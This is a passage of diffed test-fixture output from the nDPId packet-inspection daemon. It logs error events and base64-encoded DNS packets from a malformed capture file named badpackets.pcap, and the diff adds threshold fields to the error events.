6Ew29Kp48EGAAIAAQAABwgACwNnZWEEbmlzdMEOwQYAAgABAAAHCAAGA2JlYcGjwQYALgABAAAHCACfAAIHAgAABwhZKrf2WSF4GVyxB2JsZHJkb2MDZ292AIkzKBspRRKHjgld2iUJ6W8EI2\/ErlCgV4JOh1mMYrKJbPVKhaRdiPCnaxtYShzkiY056+AEL\/F04B\/Iv+WE6BOSfqWIKu831nLLehhatNc+0QoMG8piwdYZemWzDmmM\/mnqv45r3JwAgEQFHE9f4xPdbzXzBXCIN46nN8sxYcwUwdoALgABAAAHCACfAAIHAgAABwhZKrf2WSF4GZjkB2JsZHJkb2MDZ292AESJxFFnLylJJ50F\/EEyc6PhRchiACYL\/AlcnWeas5mQ0gG8Z\/ObR2D2qfguVUaT0TQMgn0akP1qC+VS8lFO0ft06e+8c5Y27dzgbK173tMxr5wtnClaCLjSQH8="} -00235{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":38,"source":"badpackets.pcap","alias":"nDPId-test","size":58,"expected":60,"global_ts_usec":1495451391978406} +00335{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451391978406,"packet_id":38,"source":"badpackets.pcap","alias":"nDPId-test","size":58,"expected":60,"global_ts_usec":1495451391978406} 00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":38,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":58,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXc76ogADkRkB1F\/HitzLpQ5QA1x5kF4D53demEAAABAAUABgABE2NlZA=="} -00208{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":38,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":24,"global_ts_usec":1495451391978406} +00308{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451391978406,"packet_id":38,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":24,"global_ts_usec":1495451391978406} 00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":38,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":58,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXc76ogADkRkB1F\/HitzLpQ5QA1x5kF4D53demEAAABAAUABgABE2NlZA=="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":39,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":514,"global_ts_usec":1495451394042349} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451394042349,"packet_id":39,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":514,"global_ts_usec":1495451394042349} 01014{"packet_event_id":1,"packet_event_name":"packet","packet_id":39,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":548,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":548,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcVF0gADYRwvybxo5RzLpQ5QA1bA4Hyoducg+EEAABAAIABQARA3d3dwV1bmlvbgJpYwJhYwJ1awAAAQABwAwAAQABAAADhAAEm8YDk8AMAC4AAQAAA4QAnAABBQUAAAOEWTixhlkRIPO5jgJpYwJhYwJ1awAj5WoAxYCg\/KfcFTNasuFz9k8DHEEKP+G\/QcO+tlENP2jc3LgZ9uA3IooVGcjqo3IK1WfQBCEvktqfQAxH7Wa9Cf7eUtirbKINvr5+kMLn6FCrM9jd2dQe6Y6pYaAdpbMZ52VbSjqrMzklY\/zIDFORoxkTs1i+ORgrFMtdeV2yqMBSAAIAAQABUYAABgNuczLAUsBSAAIAAQABUYAABgNuczDAUsBSAAIAAQABUYAABgNuczHAUsBSAAIAAQABUYAAEwhhdXRoZG5zMQNjc3gDY2FtwFXAUgAuAAEAAVGAAJwAAgUDAAFRgFk3Fx9ZD4ShuY4CaWMCYWMCdWsAnce7m9M5vKhQqwhA2lgPqBNkvCE04UYgFElS0HI7a2i+uOQGzkCRUhlt88i15\/SW6pLNi7d1z4bwWT4IQO6zK9DN8onRZwE2U9p3OkmdXoT+m92MCVkssnEnbW4QP7TpPEflt6+tmQbWtQIhhbOmeIP69piuNsKdv\/4OLfIF3EjA+gABAAEAAVGAAASbxo5QwQwAAQABAAFRgAAEm8aOUcA="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":40,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":639,"global_ts_usec":1495451408058099} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451408058099,"packet_id":40,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":639,"global_ts_usec":1495451408058099} 01191{"packet_event_id":1,"packet_event_name":"packet","packet_id":40,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":673,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":673,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFYAXcBHwgADoRZJhCxpE3zLpQ5QA1pnIIR2qM4CyEEAABAAIAAwANAjcwATIBNgMyMTYHaW4tYWRkcgRhcnBhAAAMAAHADAAFAAEAAVGAAAgCNzACNjTAD8A1AAwAAQABUYAACQN1cDIDY29tAMA4AAIAAQABUYAAGgptYXR0ZXJob3JuCXRlbGVnbG9iZQNuZXQAwDgAAgABAAFRgAAJBmNhc3RvcsBpwDgAAgABAAFRgAAJBnBvbGx1eMBpwIQAAQABAAACWAAEQsaRY8CEABwAAQAAAlgAECABBaANAP\/\/AAAAAELGkWPAmQABAAEAAAJYAARCxpE3wJkAHAABAAACWAAQIAEFoA0A\/\/8AAAAAQsaRN8BeAAEAAQAAAlgABELGkQzAXgAcAAEAAAJYABAgAQWgDQD\/\/wAAAABCxpEMwIQALgABAAACWAEhAAEIAwAAAlhZKqfXWSGE3G6hCXRlbGVnbG9iZQNuZXQADWaWQ2KrMpM7yQCKVCdUF8CZsd8UuOLGe\/axb+Ay\/NWTVA3Zr0BSUADykeduIEZBBfslszxBCLtWJjw97buDzEvoJ6dPQ\/smffR9A7PBcA8vGMrx\/vYm0nKDfYKiwKXB3cayT61ofU5\/+O4eZ8mK7zyDd4NVmMUuKwz6hilRNOPFveA0ak+EzWMNuCSyDupcNYAy\/eZHdtxUD44NujGkG9U7ybrsgbYRculPaexgOKxu6wIMeuCHPGoausWOdwgGMsZ\/9a+crtZbVDgOKg2GuqdNoxaZcaB8m2G+d85wvTgybkqjMIcDjiFy8SOVvk1UORjiSqP3gTvApy\/X3t7tXsCEAC4AAQAAAlgBIQAcCAMAAAJYWSoEmVkgM1xuoQl0ZWxlZw=="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":41,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":534,"global_ts_usec":1495451408074500} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451408074500,"packet_id":41,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":534,"global_ts_usec":1495451408074500} 01050{"packet_event_id":1,"packet_event_name":"packet","packet_id":41,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":568,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":568,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFCAXcCjcgADcRYglCxpFjzLpQ5QA1WQYH3k5\/2RyEEAABAAIAAwAJCm1hdHRlcmhvcm4JdGVsZWdsb2JlA25ldAAAHAABwAwAHAABAAACWAAQIAEFoA0A\/\/8AAAAAQsaRDMAMAC4AAQAAAlgBIQAcCAMAAAJYWSXcEFkcPtxuoQl0ZWxlZ2xvYmUDbmV0ACggce0e+l82m6K57G\/nkzZgF7\/\/\/F9ux6leX5Gn+5inty7\/MjZNahMqNAHQwnC8vBMYfHHAF8hSb7c8eCks0+Dh+nnbeUe4XgsM66nTr32JW46kbrQR89HZRJDZQZWC+piGiT97i3CT+WNQCbre\/CDP9NS8AgJkNfbP354St0OVmQlQhiKyrHqR2Kpg6iWBtjVOGzxTy9IEtmWsVcJvOfaeM\/T5fFq43DPnnWT055vSvfug0FyuSqsrvs\/uahkjmn0wSqWV9DY2l5rG7j2q5sqVxLwtjtu+3l3ZdAyTFxyFLOsRGViZqTvNnralxPJSMhvNxRaX7xgtnifsOR1srwrAZAACAAEAAAJYAA0DbnMyBmFzNjQ1M8BuwGQAAgABAAACWAAGA25zMcGDwGQALgABAAACWAEhAAIIAgAAAlhZKlysWSGE3G6hCXRlbGVnbG9iZQNuZXQAbS4gA1OJVXiOfiH1NhqitGHP\/bRoUOiALgkqpRDu8skb9xITGwMgLUOh4ksNJOEiOZjsYKQKyAOJP7f\/bfAaIkXhYw=="} -00210{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":42,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1157,"global_ts_usec":1495451455633405} +00310{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451455633405,"packet_id":42,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1157,"global_ts_usec":1495451455633405} 01884{"packet_event_id":1,"packet_event_name":"packet","packet_id":42,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":1191,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1191,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcW20gADURSGuMrBHtzLpQ5QA1MvoKTXoKXkiEEAABAAIABAANCmNvLW9wcy1ub3MBbARub2FhA2dvdgAAAQABwAwAAQABAAAAHgAEjFpO18AMAC4AAQAAAB4BHgABBQQAAAAeWSvzilkiuQrWCwFsBG5vYWEDZ292AEw02D+blunLpNdEFin1+qF0AsFQBP\/P93\/ArPYSgPaECAOIBBNrIQ+EUDGS\/sThqanuNHzZj1SVWA9CAzO98GFijUnpdSifTO4x9Qo3CG05zf3N\/s5fFZr1besYCBH9wyyidJjde0HfykraB9D+hG63vApNYAPtCvzquBjiCZq6MQB9mYwB30A9ZMk5CnTRaghcrAc+u1y4AVxKQ0y7ITcqyzwRmRPaDFzxHD6jH9BaBXDnRncsq\/RCjaVuVUM5zOySd85R0L1mEfj+F454c85g1Fzcbn5qsZOXLTMLqQ3FRWJkzSALdhO0DVc9mEVu5bmPyDDblEDXH\/N5epppDPHAVQACAAEAAVGAAAgFbnMtbnfAV8BVAAIAAQABUYAABwRucy1lwFfAVQACAAEAAVGAAAgFbnMtbXfAV8BVAC4AAQABUYABHgACBQMAAVGAWSvzilkiuQrWCwFsBG5vYWEDZ292AKWxpXpNJk\/yTBJP4lU5VttQSdOCPsApD58HTwd7AUzusozvULgo9tJJihlFAQhFSC\/z2qSmGIRA+D\/AEYhYbnkCSlby\/TZn6728QBrsfm\/eTvuVlRcio8ZoKvDceEQjlZ0XdE9\/8FAzxpv4JxMfu37r6Pqo\/kHGUh0O9dYKY5KQ4vRASr9A6ColBpM0Fp6jzxLZgQIgxecmhXKunw6oYe4uAJwPmAwuOtGafuBkrw3+iyL1IFpTT+ieoMjqzlQIJ34apHrtLI7Qpy3V3rCfrvrhFsQK3Blu25MTCVuij\/hrkBYBvavbW5oV1htZ0xgzg+x\/o5Nhl8E5Ss8ok5D\/IczBgQABAAEAAVGAAASMWiHtwYEAHAABAAFRgAAQJhAAIIAAjAAAAAAAAAACN8GUAAEAAQABUYAABIysEe3BlAAcAAEAAVGAABAmEAAgiACMAAAAAAAAAAI3wW0AAQABAAFRgAAEoTcgAsFtABwAAQABUYAAECYQACCMAIwAAAAAAAAAAALBgQAuAAEAAVGAARwAAQUDAAFRgFkri31ZIlD9PnMEbm9hYQNnb3YAHTxu3oTuiFuFiCLpTl\/MK89BN9JBGjfKVUZAF3gZCKhMwx34GFStLHWeXnyc0jpz6oB3UKoWYWqIzl5uLmkTVdATO05wGhRkXmoRFvqHJQ49RQ+pBTNvjvfsZjt4sxWFaBX6dcM71YC5bIV281hFIsnrSJ79QSihSBHieSy9t5YTGlF5LCJijNEWEHJYxDID1Mza+tXKdNXJWHbkQhQwRPJKGX91jqgFPlz4hmfje77PrtKaUJ8h5eApMH+gaNXsNFvzV3nB+6kGVXv2VWVXVPXI3XzMFa8CKHbYrFGd7LJ4f5PFB725JCBxTQ4KeEOuBE0WXVqE9VoK1uYoB4PAK8GBAC4AAQABUYAB"} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":43,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":234,"global_ts_usec":1495451467899946} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451467899946,"packet_id":43,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":234,"global_ts_usec":1495451467899946} 00638{"packet_event_id":1,"packet_event_name":"packet","packet_id":43,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":268,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":268,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcLicgAPMRVGeA54D7zLpQ5QA1cboMeow9trSEEAABAAIABgAVBmdzbGIwMgNubG0DbmloA2dvdgAAHAABwAwAHAABAAAOEAAQJgfyIAQfFAUAAAAAAAAAA8AMAC4AAQAADhAAnwAcBwQAAA4QWT\/Mx1kYPpsoHANubG0DbmloA2dvdgA8qDsghhg3NnlrIvnzqjoi2t8F9ueZTTrSfT36cTwMHvoAfuu6t8YRYeVd3+cOzU8zRktKFuhy8uB4+IQMr8Ww4Pznbu1iFnscMdfQImu1yTjxzcTFcCU7ST4qi8TAkxt4FjZaNJAfAflP93iMa9IgaD+Y6GcxRg=="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":44,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":847,"global_ts_usec":1495451472365607} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451472365607,"packet_id":44,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":847,"global_ts_usec":1495451472365607} 01465{"packet_event_id":1,"packet_event_name":"packet","packet_id":44,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":881,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":881,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcaRtgAPMRqz3AUm\/FzLpQ5QA1j7gJF4rJ+8eEEAABAAEAAwATA3d3dwZ2ZXRtZWQHdWNkYXZpcwNlZHUAAAEAAcAMAAEAAQAAcIAABKntbQvAEAACAAEAAHCAAAoHZG5zLXR3b8AXwBAAAgABAABwgAAKB2Rucy1vbmXAF8AQAAIAAQAAcIAADAlkbnMtdGhyZWXAF8BaAAEAAQAAOEAABIB4\/AnAWgAcAAEAADhAABAmB\/gQA\/AAAQAAAAAAAAABwHAAAQABAAA4QAAEwFJvxcBwABwAAQAAOEAAECYH+BAD8AADAAAAAAAAAAPARAABAAEAADhAAASAePwKwEQAHAABAAA4QAAQJgf4EAPwAAIAAAAAAAAAAsBaAC4AAQAAOEAAnwABCAMAADhAWsOuUljib5UKvAd1Y2RhdmlzA2VkdQBgF1svDW8JHo\/wOWjspf2N0RNsbS6uvhUBxwA1KawlxeLdYB8S\/ocCl3N3ydK+qLDhjdhLtD+y1QSyja9HnvA54C1qS+Lx80TVJqHkovkt5MfwSVzvMBB5t04PnvWANS1PFZYcsrJm5+kOLUE3vmD+lmjD0I6VOosJcibl9MbFksBaAC4AAQAAOEAAnwABCAMAADhAWsOuUljib5Wtvgd1Y2RhdmlzA2VkdQCYpaPXPGLYHCsxPzngvxXQKvBhCD0A6imizrPpMhGtXepeyR9Bf1Hq+y94HWm5M11uIqfwyAqaIyqKs8Qi6HbUYBY06DPk9fSI4Jwmw8Ie7Sv5COEyuPyA0LUsNeOGgVsrsuoTICsUxBAEI0LIU+Gy7f\/+GxOZF6USDZ71RzrXhcBaAC4AAQAAOEAAnwAcCAMAADhAWsOToVjiVjwKvAd1Y2RhdmlzA2VkdQCAqNZBwMbzrMNkWZgH5Y0jgozm70jz7wlfuu\/EL\/mHQiFwdlsNK2doaPPqBOsfGm9gLXtCx5VeApk7UI9i\/jxHFrXqCpXnFbTD8mocsaTvCXobB8UPlnpxRae3uC1K3rMjuf5tobIXmI1J0b0pui+eV4qbOnmtYgtJ5dMhNi7KZcBaAC4AAQAAOEAAnwAcCAMAADhAWsOToVjiVjytvgd1Y2RhdmlzA2VkdQAgvphHwDdhho6Wd\/l05X2KAiP95GF5Y1\/Jt5Q="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":45,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":847,"global_ts_usec":1495451472447578} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451472447578,"packet_id":45,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":847,"global_ts_usec":1495451472447578} 01465{"packet_event_id":1,"packet_event_name":"packet","packet_id":45,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":881,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":881,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcPAtgAPURieKAePwKzLpQ5QA1NjQJFwxygzCEEAABAAEAAwATA3d3dwZ2ZXRtZWQHdWNkYXZpcwNlZHUAAAEAAcAMAAEAAQAAcIAABKntbQvAEAACAAEAAHCAAAoHZG5zLW9uZcAXwBAAAgABAABwgAAMCWRucy10aHJlZcAXwBAAAgABAABwgAAKB2Rucy10d2\/AF8BEAAEAAQAAOEAABIB4\/AnARAAcAAEAADhAABAmB\/gQA\/AAAQAAAAAAAAABwFoAAQABAAA4QAAEwFJvxcBaABwAAQAAOEAAECYH+BAD8AADAAAAAAAAAAPAcgABAAEAADhAAASAePwKwHIAHAABAAA4QAAQJgf4EAPwAAIAAAAAAAAAAsBEAC4AAQAAOEAAnwABCAMAADhAWsOuUljib5UKvAd1Y2RhdmlzA2VkdQBgF1svDW8JHo\/wOWjspf2N0RNsbS6uvhUBxwA1KawlxeLdYB8S\/ocCl3N3ydK+qLDhjdhLtD+y1QSyja9HnvA54C1qS+Lx80TVJqHkovkt5MfwSVzvMBB5t04PnvWANS1PFZYcsrJm5+kOLUE3vmD+lmjD0I6VOosJcibl9MbFksBEAC4AAQAAOEAAnwABCAMAADhAWsOuUljib5Wtvgd1Y2RhdmlzA2VkdQCYpaPXPGLYHCsxPzngvxXQKvBhCD0A6imizrPpMhGtXepeyR9Bf1Hq+y94HWm5M11uIqfwyAqaIyqKs8Qi6HbUYBY06DPk9fSI4Jwmw8Ie7Sv5COEyuPyA0LUsNeOGgVsrsuoTICsUxBAEI0LIU+Gy7f\/+GxOZF6USDZ71RzrXhcBEAC4AAQAAOEAAnwAcCAMAADhAWsOToVjiVjwKvAd1Y2RhdmlzA2VkdQCAqNZBwMbzrMNkWZgH5Y0jgozm70jz7wlfuu\/EL\/mHQiFwdlsNK2doaPPqBOsfGm9gLXtCx5VeApk7UI9i\/jxHFrXqCpXnFbTD8mocsaTvCXobB8UPlnpxRae3uC1K3rMjuf5tobIXmI1J0b0pui+eV4qbOnmtYgtJ5dMhNi7KZcBEAC4AAQAAOEAAnwAcCAMAADhAWsOToVjiVjytvgd1Y2RhdmlzA2VkdQAgvphHwDdhho6Wd\/l05X2KAiP95GF5Y1\/Jt5Q="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":46,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":264,"global_ts_usec":1495451502567716} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451502567716,"packet_id":46,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":264,"global_ts_usec":1495451502567716} 00684{"packet_event_id":1,"packet_event_name":"packet","packet_id":46,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":298,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":298,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcNasgADkRNoKili+uzLpQ5QA13pAG0FwHT9+EAAABAAYABgABCm15cmlhZC14Y3IDeGNyB2NvbWNhc3QDbmV0AAAwAAHADAAwAAEAAAA8AIgBAAMFAwEAAbCEE7E\/tK2nbtUQfpCepzR9frAaFkveZPoT70D7sMwOQ\/+xk54PDTVfx31QpdhWXZxF\/qABasrJ\/6LYfaZOmcQd4SE2DinBGMT4mCTb3tu0MWKWTlWYTQ08jmf+Gj4hy3cOj1CHK0wnSFV850\/91\/y71SWIEMLStLnWPdodVRCzwAwAMAABAAAAPAEIAQEDBQMBAAHEJufWP+5+U3MEy5wDHiagptJ60KZhTslmbiAZzWh\/R9+Ert+MpcHrkSaQsQ=="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":47,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":824,"global_ts_usec":1495451558382420} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451558382420,"packet_id":47,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":824,"global_ts_usec":1495451558382420} 01432{"packet_event_id":1,"packet_event_name":"packet","packet_id":47,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":858,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":858,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcgwIgAO4RHAeGQ2QkzLpQ5QA1kV0JAMGOMPmEIAABAAgAAAABA2xiZANlcGEDZ292AAAwAAHADAAwAAEAAVGAAQgBAAMKAwEAAeFeeMF81JKKXyZ7m1fNWItdfwnHSJNneiWKkU4z2Dds6bAcMAU825F5fa9NfMMZJ1ofvKubnNMwvEGV7LA8h9brhYvQ10pMxj96kJZe+D2O7Ie\/U1L+VkQZ1frUDUuaBBXlpisapE85PJvpkCTjRzTK5qfC1E6SFDqWtZU3beWTOHPdeWuk+L65g0ywzAgTHi3bTkvxCU0YMUSrmM\/ucRJhZSp2Bnnu9e5m0wWVcQN8RCwwKM4581XZ86AZEsMcNMn4lgfGbO+ePZEUKN4jO3xsvTDL8VCk4S6VztoVAr8CEESKK9QNE1uUtDhbA9peZVictCS6cvQdOaTSDVAe2XvADAAwAAEAAVGAAQgBAAMKAwEAAd4Ik\/y5u\/4IGOhG4VVn7buHGb4ZWWngeCtt0OswAlaKe7FLhQgiGIJppBUZzlluNA5O2z8uFn\/6vWcjc1APkIM8gTsexgXG323L+zrIDzJcesj+XxBGl3maMZApgnsAZwFPAXNwNwEd01ugaQCevUjlvvpmQcMCgMv\/o5tuAiZQn6osfIl+95UJAH0ZoIKJkmeWYoGfMFLJeDZVa92beqMioYSqa5qhiSFtNLMmVkEyO4srbnaIMRv2nTboTEx5uIQZAKEhoQiXCLMvnBvEdR4Bmlz2s25A5KJRfNyhRIPY5lTpaPW6s2MAdi6wQOi\/tq2vQucnMXojmyYDizNjnxHADAAwAAEAAVGAAQgBAQMKAwEAAcIMnmfbk6YNzYUpG7ynL2OsKhTqhlCotZUrmruLmEWBoYibBwJ4CPXSrMDYIOj2\/UHdAWHfr3HEPagX8To21t8Hq8NRY8e+GloeYTuhJFOva2ivoXj\/E4V0VfeJJVuHTY0LKwyYoTcgGJU9hLfK7JOaOq3a80oNHJ9v5iaJ8Vvi5adW1QquXLQWZtNjVOho8xmeZ\/bqiUmkgaDPOoSlyAdf9GkOJkfVzTpRgahyLRTLJYP1dcShPIBW\/gBn0naElasEgYAZ62erTyMj+Dj+McLObt+enoOo"} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":48,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":248,"global_ts_usec":1495451574398672} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451574398672,"packet_id":48,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":248,"global_ts_usec":1495451574398672} 00657{"packet_event_id":1,"packet_event_name":"packet","packet_id":48,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":282,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":282,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcvxEgADcRsUa4rRdszLpQ5QA1oygGwFz7eMKEEAABAAQAAAABDWp1ZGljaWFsd2F0Y2gDb3JnAAAwAAHADAAwAAEAAA4QAQgBAAMHAwEAAdl6vxiL++F\/pjIKqj9e7RaBV5rwA3o9DNcv0h4HQ93WZJ+2YrrhIVTBghHPFs+8FEN7Xdx2djyC1pjSprgXQ2HeWbJZy1rO2CCoH12hxAbUEQnPy1BYYsMpATL7FFzDIup6CYAV7Is7xTwPl\/Wm5B0cxltQlAHAlLMQiylRrZup5SRgZQGoi1q7dsIP6kgvfOSmZGIwr5OxtBC\/RzC+7OcNnmbexBAx\/ujQjwn1ITH0JeAIU+9jiKC+"} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":49,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":112,"global_ts_usec":1495451582606401} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451582606401,"packet_id":49,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":112,"global_ts_usec":1495451582606401} 00474{"packet_event_id":1,"packet_event_name":"packet","packet_id":49,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":146,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXceY4gADMRzHRRW60TzLpQ5QA1plQGOJZ\/AaiEEAABAAIABAAJCGdyZG5zLWRlBWRlbmljAmRlAAABAAHADAABAAEAAA4QAARRW6FQwAwALgABAAAOEADcAAEIAwAADhBZNR2QWSKokGYrBWRlbmljAmRlAJfVO1vdsL8bdrClwW8="} -00208{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":50,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":97,"global_ts_usec":1495451603049667} +00308{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451603049667,"packet_id":50,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":97,"global_ts_usec":1495451603049667} 